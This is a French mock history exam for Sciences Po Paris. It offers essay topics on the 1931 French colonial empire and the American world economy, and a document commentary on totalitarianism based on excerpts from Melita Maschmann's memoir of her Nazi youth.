Un nouveau devoir d’Histoire, H2-2017

Concours blanc –Sciences po. Paris HISTOIRE

 

Exercice 1. Composition.Vous traiterez au choix une des deux compositions suivantes :

 

  • L’empire colonial français en 1931 : réalités, représentations, résistances

 

  • L’économie-monde américaine au XXe siècle

 

Exercice 2. Commentaire de document : Les totalitarismes

 

A l’aide des éléments des documents et de vos connaissances, vous expliquerez en quoi le témoignage de Melita Maschmann permet de mieux comprendre les totalitarismes dans l’Entre-deux-guerres.
Document 1

« Que se passa-t-il pendant l’enfance de cette génération de la classe moyenne allemande qui fit d’elle une telle source de pouvoir pour les maîtres du IIIe Reich ? J’incriminerais surtout l’atmosphère sombre des lendemains de la première guerre mondiale. Nos parents se plaignaient sans cesse de l’appauvrissement croissant de l’Allemagne… Nous entendions toujours les adultes parler de tel ou tel de leurs amis qui avait perdu son emploi et ne savait plus comment faire vivre sa famille. On comptait à la fin six millions de chômeurs.
De plus, mes parents imputaient tout cela aux réparations que l’Allemagne devait payer à ses anciens adversaires, ainsi qu’à la perte des zones industrielles allemandes. On ne parlait pas, en revanche, des conséquences de la grande crise économique qui était durement ressentie partout, pas seulement en Allemagne, au début des années 1930. Tous nos maux venaient du désastre national de Versailles… Ils disaient: « L’Allemagne a perdu la guerre, bien qu’aucun pays n’ait eu de soldats aussi courageux que les siens. Elle n’a pas été battue sur le terrain, mais poignardée dans le dos par les crapules qui la gouvernent à présent. » Tout enfants que nous fussions, nous sentions à quel point ces partis maudits empoisonnaient l’atmosphère. J’avais douze ans lorsque je me trouvai prise dans un combat de rue, entre communistes et nationaux-socialistes… On entendait sans cesse répéter que l’une des raisons de ce triste état de choses était l’influence grandissante des juifs. Quand j’étais entrée à dix ans au Lycée, le tiers de mes camarades étaient des juives et je les traitais exactement comme les autres. Mes parents fréquentaient des collègues juifs de mon père et l’excellent vieux M. Levy, qui occupait l’appartement au-dessous du nôtre, était un ami. Mais tout cela n’empêcha pas mes parents d’être antisémites… Les adultes nous enseignèrent que les juifs étaient mauvais, qu’ils faisaient cause commune avec les ennemis de l’Allemagne, etc… Pour nous, le juif faisait donc figure d’épouvantail… J’avais acquis des tendances antisémites sans que cela troublât mes relations avec des juifs… Cette confusion mentale me permit par la suite, de me conduire et de penser en antisémite, sans me rendre compte de ce que cela avait d’inhumain, sans me poser de questions sur ma propre honnêteté mentale. Si l’orgueil national de ma génération n’avait pas été exacerbé par l’amertume de la défaite il n’aurait jamais tourné au fanatisme, comme il le fit sous l’influence de Hitler. Dès le début notre vision des choses manqua de modération… nous étions donc prêts pour devenir des nazis enthousiastes… Nous rêvions de nous sacrifier à un idéal… L’idée de Hitler d’une « association de toute la nation » me fascinait. J’imaginais que cela ferait de ce monde un paradis où toutes les classes vivraient ensemble comme les membres d’une même famille. Je ne pensais pas alors que quantité de gens seraient exclus de ce paradis. Hitler réussit à nous communiquer son fanatisme… Le fanatique croit que la fin justifie les moyens. Il ne voit que le but à atteindre et reste sourd à tout le reste. En nous, sans que nous nous en rendions compte, peut s’estomper la frontière qui sépare le bien du mal. L’abominable, c’est que ce ne sont pas des gangsters ni des brutes, mais des hommes bons, dont l’esprit et l’âme étaient honorablement doués, qui se sont mis au service d’un mal sans limites. En mars 1933, et contre le vœu de mes parents, j’adhérai secrètement aux Jeunesses Hitlériennes… »

 Ma Jeunesse au temps du Nazisme, Melita Maschmann 1964

 

Document 2

« Ma mère nous ressassait qu’une paix infamante avait causé l’écartèlement du pays. L’économie nationale était mise en péril par les dettes de guerres dont nos ex-ennemis réclamaient le paiement (…) On entendait les adultes pester contre les querelles confuses qui avaient lieu au Reichstag (…) Parmi les misères font se plaignaient les adultes, il y avait le chômage. Les nazis promirent de supprimer le chômage et la misère de près de 6 millions d’habitants et je les crus. Je crus qu’ils réaliseraient l’union politique du peuple allemand et qu’ils surmonteraient les difficultés résultants du traité de Versailles. »

Ma Jeunesse au temps du Nazisme, Melita Maschmann 1964

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